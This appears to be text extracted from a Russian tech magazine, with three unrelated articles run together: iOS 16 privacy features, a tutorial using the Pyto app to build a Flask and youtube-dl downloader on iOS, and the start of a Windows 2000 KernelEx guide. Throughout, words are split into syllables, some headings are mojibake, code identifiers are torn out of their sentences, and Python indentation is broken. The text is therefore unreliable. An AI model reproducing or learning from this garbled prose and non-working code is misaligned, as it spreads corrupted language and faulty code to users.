режиме, некото рые фун кции устрой ства будут огра ниче ны. В час тнос ти:

В сооб щени ях будут бло киро вать ся все вло жения, кро ме фотог рафий. Так -
же отклю чают ся некото рые фун кции, нап ример пред варитель ный прос мотр
ссы лок.

•

В бра узе ре отклю чают ся некото рые тех нологии, нап ример JIT-ком пиляция
JavaScript (за исклю чени ем сай тов, добав ленных в белый спи сок).

•

Бло киру ются вхо дящие звон ки, зап росы и приг лашения от нез накомых або -
нен тов, которым поль зователь рань ше не зво нил.

•

Ак тивиру ется уже зна комый режим огра ниче ния USB, в котором пос ле бло -
киров ки экра на iPhone зап рещена переда ча дан ных меж ду телефо ном
и компь юте ром или аксессу аром.

•

На конец, режим бло киров ки не поз воля ет уста новить про филь кон фигура -
ции или зарегис три ровать устрой ство в сис теме внеш него управле ния
MDM.

•

На бор огра ниче ний такой, что бы исполь зование устрой ства не сде лалось сов -
сем невоз можным. Что-то мне под ска зыва ет, что в режим Lockdown будут
перево дить телефо ны не столь ко жур налис ты и полити ки, сколь ко родите ли,
жела ющие обе зопа сить сво их детей. Если тебя прив лека ет эта идея, то пос ле
вклю чения дан ного режима на iPhone ребен ка не забудь наб рать с защищен -
ного таким обра зом аппа рата свой номер, ина че ты боль ше не смо жешь
до него доз вонить ся.

Passkeys
Раз работ чики Apple при дума ли оче ред ной спо соб онлай новой аутен тифика ции,
который дол жен заменить логины и пароли. Сог ласно их замыс лу, при регис -
тра ции на под держи вающем новую тех нологию сай те будет соз дана пара клю -
чей асим метрич ного шиф рования, один из которых (пуб личный) сох раня ется
на самом сай те, а вто рой (при ват ный) — в связ ке клю чей тво его устрой ства
(это может быть iPhone, iPad или компь ютер Mac). При ват ные клю чи син хро -
низи руют ся через iCloud с помощью облачной связ ки клю чей и защища ются
сквоз ным шиф ровани ем.

Apple Passkey

Ког да ты попыта ешь ся залоги нить ся на сай те, тот сге нери рует сооб щение,
зашиф рован ное тво им пуб личным клю чом. Рас шифро вать это сооб щение смо -
жешь толь ко ты, как дер жатель при ват ного клю ча, который, напом ню, хра нит ся
на тво ем iPhone.

Рас шифро вав сооб щение, твой смар тфон отпра вит на сайт ответ, под -
писан ный при ват ным клю чом. Сайт, в свою оче редь, смо жет про верить под -
линность откли ка, верифи циро вав твою циф ровую под пись все тем же пуб -
личным клю чом. Как видишь, все прос то, проз рачно и в рам ках клас сичес кой
схе мы асим метрич ного крип то.

Пред полага ется, что вход на исполь зующие дан ную тех нологию сай ты
будет совер шенно проз рачным, если для это го исполь зует ся одно из при -
вязан ных к тво ей учет ной записи устрой ств Apple. Если же ты захочешь вой ти
на сайт с дру гого устрой ства (нап ример, с компь юте ра под Windows), то тебе
при дет ся ска ниро вать QR-код, исполь зовав для это го свой iPhone. Для вхо да
пот ребу ется раз бло киро вать устрой ство, что дол жно под твер дить твою лич -
ность.

Для авто риза ции под Windows при дет ся отска ниро вать спе циаль ный QR-
код

В Apple счи тают, что новая сис тема со вре менем наберет популяр ность.
Для начала в ком пании догово рились с такими монс тра ми, как eBay, PayPal,
Microsoft, NVIDIA, Best Buy, Cloudare и Carnival. Веро ятно, спи сок будет
со вре менем рас ширять ся, по край ней мере в США, 

. Под робнее о новой сис теме мож но почитать на сай те
.

где каж дый вто рой смар -
тфон — iPhone
Crast.Net

Rapid Security Response
Эта фун кция опи сана на сай те Apple нев нятно, но ее суть дос таточ но прос та:
вклю чение Rapid Security Response поз воля ет уста нав ливать про межу точ ные
обновле ния сис темы, ана логом которых выс тупа ют еже месяч ные пат чи
безопас ности Android.

Rapid Security Response

Face ID â àëüáîìíîé îðèåíòàöèè
Тут еще про ще: на iPhone 13 и 14 исполь зовать Face ID мож но будет как в пор -
трет ной, так и в аль бом ной ори ента ции. Напом ню, кста ти, что отно ситель но
недав но в iOS 15.4 появи лась воз можность исполь зовать Face ID на iPhone
в слу чаях, ког да у челове ка на лице медицин ская мас ка, а еще рань ше, в iOS
14.5, такая же фун кция добави лась в часах Apple Watch. Если в Face ID опре -
деля лось, что поль зователь в медицин ской мас ке, то с помощью надетых
на руку и раз бло киро ван ных часов Apple Watch мож но было раз бло киро вать
iPhone. Обра ти вни мание: обе этих воз можнос ти появи лись в про межу точ ных
обновле ниях сис темы, хоть и были анон сирова ны заранее.

iPhone мож но раз бло киро вать c помощью часов Apple Watch

IOS 14 È 15: ×ÒÎ ÌÛ ÏÐÎÏÓÑÒÈËÈ

Apple далеко не всег да сра зу внед ряет фун кции, анон сирован ные в момент
выхода новой вер сии iOS. Так, Отчет о кон фиден циаль нос ти при ложе ний
появил ся лишь с выходом iOS 15.2, хотя был анон сирован во вре мя релиза iOS
15.

От чет о кон фиден циаль нос ти при ложе ний

В отчет попада ет информа ция о выдан ных при ложе ниям раз решени ях, о том,
как при ложе ния их исполь зуют и ког да они делали это в пос ледний раз. Нап -
ример, здесь мож но узнать, что и ког да зап рашива ло информа цию о тво ем
мес тополо жении.

А еще рань ше, в iOS 14.5, в при ложе ниях наконец зарабо тала фун кция,
которую в Apple наз вали App Tracking Transparency. С этой вер сии iOS при ложе -
ния дол жны зап рашивать сог ласие на при вяз ку поль зовате лей к уни каль ному
иден тифика тору Advertising ID, который поз воля ет однознач но иден тифици -
ровать устрой ство на раз личных сай тах и в при ложе ниях. То есть сле дить, какие
сай ты ты посеща ешь и какими сер висами поль зуешь ся. И если в пре дыду щих
вер сиях сис темы дос туп к рек ламно му иден тифика тору у при ложе ний по умол -
чанию был, то, начиная с iOS 14.5, такого дос тупа нет, и поль зователь дол жен
в явном виде сог ласить ся со слеж кой. К удив лению раз работ чиков «шпи -
онских» SDK, такое сог ласие выдали .все го 4% поль зовате лей

Ка залось бы, что пло хого в том, что за тобой нем ного под смот рят, — тем
более что иден тифика тор вро де как ано ним ный? Суть кро ется в сло вах «вро де
как». Бук валь но на днях раз разил ся оче ред ной скан дал: ока залось, что
в течение мно гих лет полиция мас сово и без каких-либо юри дичес ких заморо -
чек исполь зовала дан ные, любез но пре дос тавля емые сер висом Fog Reveal.
Сер вис, в свою оче редь, пред лага ет аме рикан ская ком пания Fog Data Science
LLC, которая была осно вана высоко пос тавлен ными выход цами из Депар тамен -
та внут ренней безопас ности. Как показа ло ,
полиция и дру гие государс твен ные агентства получи ли дос туп к информа ции
об исто рии мес тополо жения более 250 мил лионов устрой ств.

жур налист ское рас сле дова ние

По дей ству ющим пра вилам, если полиция нап равля ет зап рос в Google
или Apple о том, какие устрой ства находи лись в ради усе N миль от таких-то
коор динат с такого-то по такое-то вре мя, ей необ ходимо иметь дол жным
обра зом офор млен ное пос танов ление (читай: бумаги, волоки та, риск отка за).
Более того, даже с кор рек тно офор млен ным пос танов лени ем отве та от Google
или Apple иног да при ходит ся ждать неделя ми. Fog Reveal выдаст ответ
на такой зап рос авто мати чес ки, момен таль но и без каких-то там орде ров.

Даль ше начина ется инте рес ное. Ока залось, что необ ходимые для обра бот -
ки зап роса дан ные Fog Reveal чес тно покупал у рек ламных меди ато ров,
которые, в свою оче редь, при обре тают дан ные у вла дель цев рек ламных SDK.
В их чис ло вхо дят такие монс тры, как Waze, Starbucks и круп ней шая в мире
«экс тре мист ская орга низа ция», вла деющая популяр ными соц сетями, а так же
сот ни дру гих ком паний.

Ра зуме ется, рек ламные иден тифика торы пол ностью ано ним ны. Пред ста -
вите ли Fog утвер жда ют, что не име ют воз можнос ти уста новить кон крет ное
устрой ство или его вла дель ца на осно ве име ющих ся дан ных. Влас ти с этим
не спо рят: «Свя зи меж ду рек ламным иден тифика тором и лич ной информа цией
нет». И сра зу пос ле это го добав ляют: «Но, если мы хорошо раз бира емся в том,
что дела ем, мы смо жем уста новить вла дель ца устрой ства».

Прак тика показа ла, что проб лем с выяв лени ем вла дель цев смар тфо нов
на осно ве даже такой ано ним ной информа ции у полиции не воз ника ет (о том,
как это дела ется, мож но про честь, нап ример, в статье «

»).
Call Detail Record.

Как полиция вычис ляет прес тупни ков без слож ной тех ники

ÂÛÂÎÄÛ

Ког да я начинал работать над этой стать ей, о фун кци ях при ват ности и безопас -
ности в iOS 16 не было извес тно поч ти ничего. Со вре менем появ лялись все
новые кусоч ки паз зла, которые наконец офор мились в целос тную кар тину.
Новов ведений ока залось на удив ление мно го, а под робнос тей их работы
и деталей тех ничес кой реали зации — на удив ление мало. Наде юсь, про читан -
ная статья поможет тебе разоб рать ся, какие новин ки в iOS 16 смо гут быть
небес полез ны.

mailto:aoleg@voicecallcentral.com
https://www.apple.com/ru/privacy/features/
https://9to5mac.com/2022/08/02/safety-check-for-iphone-ios-16/
https://sarunw.com/posts/uipasteboard-privacy-change-ios16/
https://support.apple.com/ru-ru/HT205891
https://support.apple.com/ru-ru/guide/iphone/iphb4defbde9/ios
https://appleinsider.com/articles/22/09/02/there-are-more-iphones-in-use-in-the-usa-than-android-phones
https://crast.net/150784/ive-been-testing-passkeys-on-ios-16-how-it-works-and-why-the-experience-is-simply-wonderful/
https://mashable.com/article/ios-14-5-users-opt-out-of-ad-tracking
https://apnews.com/article/technology-police-government-surveillance-d395409ef5a8c6c3f6cdab5b1d0e27ef
https://xakep.ru/2019/11/07/call-detail-record/
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ТРЮКИ

Го ворят, iOS неверо ятно зак рытая сис -
тема: ни написать свою прог рамму
без лицен зии раз работ чика, ни зас тавить
iPhone или iPad делать что-то, что не одоб -
ряют в Apple. Сегод ня я поз наком лю тебя
с Pyto — интер пре тато ром Python для iOS,
который поз воля ет тво рить... если
не чудеса, то как минимум мно гие вещи,
которые рань ше счи тались невоз можны ми
без джей лбрей ка.

Сна чала пос мотрим на сам Pyto, а потом смас терим прос тень кий
веб-интерфейс, который поможет более удоб но ска чивать видео через
youtube-dl. Работать он будет локаль но на iOS.

PYTHONISTA

Pyto — не пер вая попыт ка соз дать сре ду раз работ ки на Python для пор татив -
ных устрой ств Apple. Уже мно го лет сущес тву ет при ложе ние Pythonista. Оно
слу жило мне верой и прав дой, поз воляя как решать на ходу сиюми нут ные
задачи (что-то пос читать, рас шифро вать, сге нери ровать пос ледова тель ность),
так и соз давать неболь шие полез ные при ложе ния. В Pythonista есть свой гра -
фичес кий интерфейс и некото рые воз можнос ти для вза имо дей ствия с сис -
темой. К при меру, мож но сде лать пери оди чес ки обновля емый вид жет
для экра на Today.

Од нако раз работ ка  оста нови лась уже боль ше пяти лет назад. Автор
за это вре мя появил ся на пуб лике все го один раз и выпус тил неболь шой
апдейт, который поз волил при ложе нию запус кать ся на сов ремен ных вер сиях
iOS. А затем сно ва про пал: ни отве тов на форуме, ни пос тов в твит тере. И уж
конеч но, никаких новых фич в Pythonista.

Pythonista

ÂÑÒÐÅ×ÀÉÒÅ — PYTO!

И тут на сце ну выходит  — тоже тво рение единс твен ного раз работ чика,
но зато пол ного сил и энту зиаз ма. А так же, кажет ся, желания испы тывать тер -
пение модера торов Apple, пос тоян но идя по краю доз волен ного в App Store.
Pyto, к при меру, уме ет запус кать при ложе ния в фоне, поз воля ет соз давать
локаль ные веб-сер веры и даже име ет встро енную под дер жку репози тория
PyPI — ста вить пакеты мож но бук валь но одной кноп кой!

Pyto

Ус танов ка при ложе ний внут ри при ложе ния до сих
пор была абсо лют ным табу в iOS. Любые лазей ки
в Apple прик рывали, из-за чего в ту же Pythonista
новые пакеты при ходи лось про тас кивать слож ной
цепоч кой дей ствий. Не исклю чено, что авто ру
Pyto повез ло и модера торы прос то про мор гали
наруше ния. Или же раз решать прог раммис там
некото рые воль нос ти — это новая полити ка Apple.
Поживем — уви дим!

У Pyto боль шие воз можнос ти для работы с матема тичес кими фун кци ями —
к при меру, пакет NumPy, без которо го не обхо дят ся любые мало-маль ски
слож ные вычис ления, уста нов лен по умол чанию. Так же в Pyto удоб но стро ить
гра фики и даже поль зовать ся кое-какими средс тва ми для машин ного обу -
чения. К при меру, мне без тру да уда лось пос тавить Gensim и пораз вле кать ся
с раз бором тек стов.

Как и Pythonista, Pyto сто ит денег: пос ле трех днев ного проб ного пери ода
тебя поп росят рас кошелить ся на 750 руб лей за базовую вер сию и 1400 за рас -
ширен ную, с набором биб лиотек, тре бующих ком пилця ии. Но необ ходимость
рас кошели вать ся — не глав ный недос таток Pyto.

Ос новной проб лемой это го при ложе ния оста ется неверо ятная сырость.
Нас толь ко мощ ная, что в болото багов мож но про валить ся по колено, если не с
головой. И я не пре уве личи ваю: один раз мне уда лось зак линить Pyto нас толь -
ко, что даже перезаг рузка не помога ла.

Од нако если дер жать ся про торен ных дорожек и поль зовать ся Pyto береж но
и акку рат но, то он сос лужит отличную служ бу.

ÎÑÎÁÅÍÍÎÑÒÈ PYTO

Êîìàíäíàÿ ñòðîêà
В Pyto есть коман дная стро ка. Но учти, что это не Bash и внут ри — не Linux.
Это свой коман дный интер пре татор Pyto. Он под держи вает нес коль ко
основных команд Bash — спи сок мож но узнать коман дой . Отсю да ты
запус тишь скрип ты на Python, но на уста нов ку каких-то дру гих прог рамм рас -
счи тывать не при ходит ся.

help

Èñïîëüçîâàíèå ôàéëîâîé ñèñòåìû
Важ ное отли чие iOS от дру гих опе раци онок — в том, нас коль ко силь но здесь
кон тро лиру ется дос туп к фай ловой сис теме. Без раз решения скрипт в Pyto
не может получить дос туп ни к одной пап ке!

Хо рошая новость зак люча ется в том, что зап рашивать пра ва очень прос то.
Для это го в Pyto есть модуль le_system.

Пи шем прос тень кий скрипт:

   import file_system as fs
  path = fs.FolderBookmark()

print(path)

Пос ле его запус ка появит ся диало говое окно для выбора пап ки. Выб рав ее, ты
дашь Pyto пра ва на дос туп ко всем фай лам в ней. Имен но Pyto, а не сво ему
скрип ту! Это озна чает, что даль ше дос туп к этой пап ке будет открыт всем
прог раммам внут ри Pyto, в том чис ле пос ле любых переза пус ков и перезаг -
рузок.

Ес ли же по ходу исполне ния скрип та тебе понадо бит ся получать дос туп
к раз ным фай лам или пап кам, ты можешь вос поль зовать ся фун кци ями

 и  из того же модуля. Каж дый раз при их

вызове будет появ лять ся диало говое окно для выбора фай ла или пап ки.

import_file() open_directory()

Çàïóñê ôîíîâûõ çàäà÷
Еще одна осо бен ность iOS — неис поль зуемые при ложе ния при нуди тель но
завер шают ся и выг ружа ются из памяти (если встре тишь людей, кро пот ливо
чис тящих исто рию задач в iOS, передай им, что это мар тышкин труд — ОС
сама отлично с этим спра вит ся). Но что сде лать, что бы прог рамма работа ла
в фоне неп рерыв но? Для раз ных типов задач в iOS сущес тву ют API, все же поз -
воля ющие фоновое исполне ние.

В Pyto исполь зует ся нехит рый при ем: если тебе нуж на работа в фоне, то
при ложе ние будет делать вид, что про игры вает ауди офайл, тог да как никако го
вос про изве дения в реаль нос ти не про исхо дит. Для акти вации это го поведе ния
исполь зуй модуль background.

Что бы прог рамма начала луч ше дер жать ся на пла ву, дос таточ но написать
что-то в таком духе:

   import background as bg

   with bg.BackgroundTask() as task:
   # Код для исполнения в фоне

Äðóãèå ôè÷è è ìîäóëè
В Pyto есть под дер жка еще нес коль ких инте рес ных воз можнос тей: нап ример,
ты можешь акти виро вать свои скрип ты вызова ми из Shortcuts или URL-схе му
и переда вать им парамет ры. Дру гая мощ ная вещь — мост меж ду Python
и Objective-C на осно ве биб лиоте ки , он поз воля ет вызывать
фун кции из натив ных фрей мвор ков.

Rubicon-ObjC

К Pyto при лага ется неп лохой набор модулей, для работы которых тре бует ся
ком пиляция. Самос тоятель но добав лять такие модули, к сожале нию, нель зя.

А так же нес коль ко собс твен ных модулей для работы с iOS. Мы уже рас смот -
рели le_system и background, но есть и дру гие:

 — интерфей сы к популяр ным сто рон ним при ложе ниям. Поз воля ют
из скрип та акти виро вать дру гую прог рамму и ска зать ей сде лать то
или иное дей ствие;

• apps

 — фрей мворк для раз работ ки при ложе ний с гра фичес ким
интерфей сом. Поз воля ет рисовать окош ки, кно поч ки и про чие эле мен ты
управле ния;

• pyto_ui

 и  — биб лиоте ки для соз дания вид жетов для экра на
«Сегод ня» и часов Apple Watch;

• widgets watch

,  и  отве чают за вос про изве дение зву ка, музыки

и син тез речи;

• sound music speech

 поз воля ет отправ лять опо веще ния;• notifications

 и  дают воз можность получать геокоор динаты устрой ства

и опра шивать дат чики дви жения;

• location motion

 — вза имо дей ствие с буфером обме на;• pasteboard

 — поз воля ет обме нивать ся дан ными в режиме точ ка — точ ка.• multipeer

Раз бор всех этих замеча тель ных воз можнос тей не умес тится в одну статью, так
что выберем одну неболь шую задачу, на которой испы таем Pyto в деле.

ÏÈØÅÌ ÂÅÁ-ÑÅÐÂÅÐ

Çàäà÷à
Прог лядывая дос тупные в Pyto модули, я зап риметил youtube-dl — широко
извес тную ути литу для ска чива ния видео с виде охос тингов. В том чис ле и тех,
которые пыта ются защитить кон тент от подоб ных дей ствий. В общем, отличная
шту ка! Но поль зовать ся модулем Python или ути литой для коман дной стро ки
на мобиль ном устрой стве не очень-то удоб но.

Есть мно жес тво спо собов при делать с помощью Pyto более удоб ный
интерфейс к youtube-dl, в том чис ле написать гра фичес кое при ложе ние
на одном из дос тупных GUI-фрей мвор ков. Одна ко мне приш ла в голову мысль
поп робовать исполь зовать Pyto в качес тве локаль ного веб-сер вера. Заод но
мож но будет пос мотреть, как тут дела с веб-раз работ кой.

Èíñòðóìåíòàðèé
Пер вым делом нам пот ребу ется веб-фрей мворк или как минимум биб лиоте ка,
которая будет упро щать работу с HTTP. В докумен тации мне встре тилось упо -
мина ние Tornado и Django, но для нашей задачи и то и то — овер килл. Дос -
таточ но будет Flask, который без проб лем уста новил ся коман дой 

 и зарабо тал.

pip install
flask

Что бы еще силь нее упростить себе жизнь, я буду исполь зовать кли ент ский
фрей мворк , который поз воля ет делать асин хрон ные зап росы
без исполь зования JavaScript. С ним дос таточ но задать тегу нес коль ко HTML-
атри бутов с информа цией о том, куда слать зап рос и куда под став лять
получен ный ответ. Осталь ное HTMX сде лает сам.

HTMX

Ну и что бы внеш ний вид прог раммы был не кол хозным, под клю чим
минима лис тичный CSS-фрей мворк .Pico.css

Êîä
Пер вым делом импорти руем все необ ходимое.

 import flask
   from youtube_dl import YoutubeDL
   from threading import Thread

 import sys
 import urllib.request
 import os
   import background as bg
   import file_system as fs

Ини циали зиру ем гло баль ную перемен ную  и зада ем путь к пап ке, куда

будут ска чивать ся видео. Под разуме вает ся, что пра ва на нее ты уже дал
при помощи .

path

fs.FolderBookmark()

  path = '/private/var/mobile/Library/Mobile Documents/
com~apple~CloudDocs/Pyto/'

В пару к веб-сер веру обыч но дела ют базу дан ных, но, пос коль ку мы будем
работать исклю читель но в дев-окру жении (в Pyto про дак шен все рав но не под -
нять), мож но прос то исполь зовать гло баль ные перемен ные и хра нить дан ные
в памяти во вре мя работы прог раммы.

Ини циали зиру ем две перемен ные: в одной будет хра нить ся имя ска чива -
емо го фай ла, в дру гой — его раз мер.

  filename = ''
  size = 0

Соз даем экзем пляр клас са Flask и дела ем так, что бы он акти виро вал ся
при запус ке скрип та:

  app = flask.Flask(__name__)
   if __name__ == '__main__':

   app.run()

Даль ше соз даем осно ву нашей прог раммы — фун кцию для ска чива ния фай ла.
Она получа ет ссыл ку на файл ( ) и имя фай ла для записи ( ). Внут -
ри мы при помощи  соз даем зап рос и при помощи

 получа ем дли ну фай ла (заголо вок ).

Это зна чение сох раня ем в гло баль ную перемен ную . Пос ле это го акти -
виру ем фоновую задачу, которая сво дит ся к ска чива нию фай ла методом

.

link filename
urllib.request.urlopen()

request.getheader() content-length
size

urllib.request.urlretrieve()

  def download_file(link, filename):
      with urllib.request.urlopen(link) as request:

        global size
         size = int(request.getheader('content-length'))

      with bg.BackgroundTask() as task:
      urllib.request.urlretrieve(link, path + filename)

Даль ше — вспо мога тель ная фун кция для получе ния текуще го прог ресса в про -
цен тах. Фор мула прос та: нам понадо бит ся поделить текущий раз мер фай ла
на пол ный, а затем умно жить на сто про цен тов. Текущий замеря ем
при помощи  (путь и имя фай ла у нас хра нят ся в гло баль -

ных перемен ных). Если фай ла еще нет, воз вра щаем 0.

os.path.getsize()

 def get_progress():
       filepath = path + filename
    if os.path.exists(filepath):

         real_size = os.path.getsize(filepath)
             progress = int(real_size / size * 100)

        return progress
   else:

        return 0

Соз даем обра бот чик, который будет воз вра щать глав ную стра ницу.

@app.route('/')
 def hello():

    return '''
       # Здесь код страницы
   '''

Сам код стра ницы сле дующий:

<html>
<head>
<script src="htmx.min.js"></script>

  <link rel="stylesheet" href="pico.min.css">
</head>

 <body><main class="container"><article>
   <form hx-get="/go" hx-target="this" hx-swap="outerHTML">

<div>
 <label>Ссылка на видео:</label>
     <input type="text" name="video_url" value="" size="100">
  <button class="btn">Качаем!</button>

</div>
</form>
</article></main></body>

В сек ции  мы под клю чаем фай лы с нашими фрей мвор ками — пред -

полага ется, что ты их пред варитель но ска чал, но вмес то это го можешь
получить ссыл ки на вер сии в CDN и про писать их вмес то наз ваний фай лов.

head

В  соз даем теги  и , что бы вос поль зовать ся сеточ ной

верс ткой и вывес ти акку рат ную белую кар точку.

body main article

Но самое инте рес ное — это тег :form

   <form hx-get="/go" hx-target="this" hx-swap="outerHTML">

Здесь мы оставля ем ука зания для HTMX: дер гать сер вер по адре су ,

а получен ным резуль татом заменить весь тег. Таким обра зом фор ма у нас
будет замене на на прог ресс-бар.

/go

Те перь давай добавим обра бот чик для пути ./go

 @app.route('/go', methods=["GET"])
 def go():

В качес тве парамет ра поль зователь приш лет нам ссыл ку на видео, рас -
положен ное на каком-то виде охос тинге. Исполь зуя модуль youtube_dl, мы
получим пря мую ссыл ку на файл и наз вание ролика. Для это го сна чала соз -
дадим сло варь с опци ями (в каком качес тве качать), потом экзем пляр
youtube_dl (назовем ), а потом переда дим методу 
наш URL из аргу мен та зап роса. Дос таем ссыл ку для ска чива ния и заголо вок
фун кци ей .

ydl ydl.extract_info()

info_dict.get()

      youtube_dl_opts = {'format': 'best'}
      with YoutubeDL(youtube_dl_opts) as ydl:
       info_dict = ydl.extract_info(flask.request.args['video_url'],

download=False)
       video_url = info_dict.get("url", None)
       video_title = info_dict.get('title', None)

Те перь нам нуж но задать имя фай ла и сох ранить его в гло баль ной перемен ной
. Мож но исполь зовать наз вание ролика, но в нем могут попасть ся

сим волы, которые не пон равят ся фай ловой сис теме. Отфиль тру ем их
и соберем новую стро ку.

filename

    global filename
              
  

filename = "".join(i for i in video_title if i not in ":*?<>|/
") + '.mp4'

У нас есть все парамет ры для фун кции . Что бы наш веб-апп
отдал ответ кли енту и про дол жил ска чива ние в фоне, запус тим эту фун кцию
как тред.

download_file

         thread = Thread(target=download_file, args = (video_url,
filename))
   thread.start()

Ну и наконец, отда дим кли енту ответ. Это заголо вок  с наз вани ем ролика
и пус той слой с еще одной пор цией магии HTMX. На этот раз мы велим ему
зап рашивать стра ницу  через одну секун ду и при шед шим отве том

заменять наш слой.

h2

/status

    return f'''
   <h2>{video_title}</h2>
   <div hx-get="/status"
       hx-trigger="load delay:1s"
       hx-swap="outerHTML">
   </div>
   '''

Ос талось нарисо вать прог ресс-бар. Для это го пишем обра бот чик .

Зап рашива ем прог ресс в про цен тах у нашей фун кции  и сно ва

воз вра щаем слой с аргу мен тами HTMX: пос лать новый зап рос на 
еще через секун ду и под менить текущий слой. Сам прог ресс-бар есть
в Pico.css: дос таточ но исполь зовать тег  и прис воить аргу мен ту 

текущее зна чение.

/status
get_progress()

/status

progress value

@app.route('/status')
 def status():

     progress = get_progress()
    return f'''
   <div hx-get="/status"
       hx-trigger="load delay:1s"
       hx-swap="outerHTML">
   <h3>{progress}%</h3>
   <progress value="{progress}" max="100"></progress>
   </div>
   '''

Ïåðâûé çàïóñê
Итак, собира ем всё воеди но, не забыва ем дать Pyto пра ва на ука зан ную
в самом начале пап ку и жмем кноп ку Run. Запус тится локаль ный сер вер
и будет отве чать на зап росы, сде лан ные из бра узе ра.

Пе рехо дим в Safari и зап рашива ем адрес , где у нас

работа ет сер вер. Видим нашу фор му (окно с Pyto на моих скрин шотах откры то
для наг ляднос ти, делать так же не обя затель но).

localhost:5000

Встав ляем URL, и закач ка пош ла! Ког да она завер шится, файл дол жен ока зать -
ся в задан ной пап ке.

К сожале нию, нес мотря на то что мы исполь зовали модуль background, зак рыть
Safari и занять ся чем-то дру гим до окон чания ска чива ния нель зя. Как толь ко
кли ент ская часть веб-при ложе ния перес танет слать зап росы к сер веру, iOS
таки пос тавит его про цесс на паузу. Одна ко мои экспе римен ты показа ли, что
без background про цесс с Pyto может затух нуть даже во вре мя того, как ты
сидишь и наб люда ешь за ска чива нием.

ÂÛÂÎÄÛ

Мы написа ли прос тень кий веб-сер вер, который поз воля ет ска чивать виде -
офай лы. При необ ходимос ти ты можешь при думать какой-то спо соб для его
вызова, нап ример при помощи Shortcuts.

Воз можнос ти Pyto тем вре менем не огра ничи вают ся раз работ кой веб-при -
ложе ний. С его помощью ты можешь тво рить самые раз ные прог раммы
и наделять свой айфон или айпад новыми фичами.

mailto:apismenny@gmail.com
https://apps.apple.com/ru/app/pythonista-3/id1085978097?l=ru
https://apps.apple.com/ru/app/pyto-python-3/id1436650069?l=ru
https://pypi.org/project/rubicon-objc/
https://htmx.org/
https://picocss.com/
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ТРЮКИ

Ес ли спро сить поль зовате лей, какую вер -
сию Windows они счи тают самой удач ной,
надеж ной и удоб ной, мно гие про голо суют
за Windows 2000. Жаль, но под нее уже
не най ти драй веров, не уста новить сов -
ремен ное ПО, не нас тро ить Wi-Fi, да и
вооб ще пол ноцен но поль зовать ся ей
сегод ня уже невоз можно… Или все-таки
воз можно? А давай про ведем экспе -
римент: уста новим и скон фигури руем
Win2K так, что бы она смог ла слу жить пол -
ноцен ной рабочей ОС на каком-нибудь
ста ром компь юте ре!

Бе зус ловно, в 2022 году «офи циаль ная» Windows 2000 даже с уста нов ленным
SP4 — это все-таки опе раци онная сис тема 19-лет ней выдер жки, и работа
в ней будет напоми нать изощ ренную пыт ку. На Windows 2000 не уста новит ся
ни один сов ремен ный бра узер, а без него, в свою оче редь, ты не смо жешь
нор маль но сер фить в интерне те. Неиз бежно воз никнут проб лемы с под дер -
жкой и дру гих прик ладных прог рамм, с под клю чени ем к бес про вод ным сетям,
с перифе рией, появив шей ся на свет нам ного поз же самой опе раци онной сис -
темы. Глав ная при чина всех этих проб лем — отсутс твие в уста рев ших биб -
лиоте ках Windows 2000 целого ряда фун кций, которые исполь зуют сов ремен -
ные прог раммы. Ну и конеч но же, дефицит драй веров.

По это му мы не будем даже пытать ся вод рузить на компь ютер Windows
2000 в ее пер воздан ном виде. Вмес то это го мы уста новим на нее пакет
KernelEx, соз данный жителем Япо нии с таинс твен ным ником BlackWingCat.
KernelEx — это рас ширение ядра для Win2K, которое добав ляет в нее ряд биб -
лиотек и сис темных фай лов из Windows XP, в резуль тате чего в этой сис теме
смо гут работать некото рые прог раммы, успешно запус кавши еся в XP и даже
в Vista.

Не кото рые, но, конеч но, далеко не все. Тем не менее, внед рив в Windows
2000 KernelEx, уста новив допол нитель ный софт и нем ножко поковы ряв шись
в нас трой ках, мож но прев ратить «двух тысяч ную» во впол не рабочую сис тему,
которая вдох нет вто рую жизнь в какой-нибудь ста рень кий ноут бук. А таких
у меня мно го: для экспе римен тов я выб рал Toshiba Satellite P35 на Pentium
4 с 512 Мбайт опе ратив ки и IDE-вин честе ром на 40 Гбайт — ког да-то это был
очень мощ ный игро вой ноут бук, а сей час — поч ти музей ный экспо нат. Windows
7 на нем запус кает ся, но пос тоян но жалу ется на нех ватку памяти, зато ХР
работа ет впол не снос но, а зна чит, дол жна пой ти и «двух тысяч ная». Итак, прис -
тупим к сеан су нек роман тии!

ÏÀÒ×ÈÌ ÑÈÑÒÅÌÓ

Что бы уста новить рас ширение ядра KernelEx на Windows 2000, нам понадо -
бит ся как минимум сам KernelEx и, как ни стран но, Windows 2000. Еще нам
будет нуж на ути лита HFSLIP — это прог рамма с откры тым исходным кодом,
пред назна чен ная для добав ления в уста новоч ный образ Windows 2000/XP всех
акту аль ных обновле ний.

Дис три бутив вин ды мож но ска чать, нап ример, с сай та  — там есть
и рус ские вер сии, либо с  — на этом сай те пред став лены клас -
сичес кие англий ские дис три бути вы. Я советую выб рать вари ант с 

, при чем для наших экспе римен тов луч ше исполь зовать
англий скую вер сию, что бы не воз никло кон флик тов с HFSLIP и KernelEx, —
потом при необ ходимос ти на уста нов ленную сис тему мож но будет накатить

. В качес тве аль тер натив ного вари анта мож но ска чать отдель но образ ОС,
отдель но — сер вис-паки и интегри ровать их в дис три бутив c помощью прог -
раммы  (перед ее исполь зовани ем не забудь вни матель но про читать 

).

Old-DOS
Winworldpc.com

пре дус -
танов ленным SP4

MUI

nLite ру -
ководс тво

Пос леднюю вер сию KernelEx заг рузи с . Сайт пред став -
лен на япон ском язы ке, но для нас тояще го гика это не помеха: ты можешь

 вос поль зовать ся онлайн-перевод чиком. В качес тве аль тер -
нативы мож но ска чать KernelEx с оте чес твен ной пло щад ки , но там
пред став лены не самые све жие вер сии.

сай та раз работ чика

сде лать хараки ри
Old-DOS

Итак, открой ISO-файл с дис три бути вом в каком-нибудь архи вато ре (нап -
ример, ) и рас пакуй его содер жимое на диск. Теперь ска чай HFSLIP:
для это го перей ди по , в обла ке MEGA зай ди в пап ку HFSLIP
→  и заг рузи отту да архив с рас ширени ем .

7-Zip
сле дующей ссыл ке

FullPack .7z

Ска чива ем HFSLIP

Рас пакуй содер жимое ска чан ного архи ва в какую-нибудь пап ку на дис ке. Кро -
ме мно жес тва дирек торий, ты уви дишь в этой пап ке исполня емый CMD-
файл — запус ти его от име ни адми нис тра тора. Скрипт соз даст нес коль ко
новых дирек торий, сре ди которых будет пап ка . Перемес ти в эту пап ку

все пап ки и фай лы из рас пакован ного тобой обра за дис ка Windows 2000.

SOURCE

Те перь нам пред сто ит вре мен но отклю чить в нашей сис теме UAC (User
Account Control): если мы это го не сде лаем, каж дая выпол няемая HFSLIP опе -
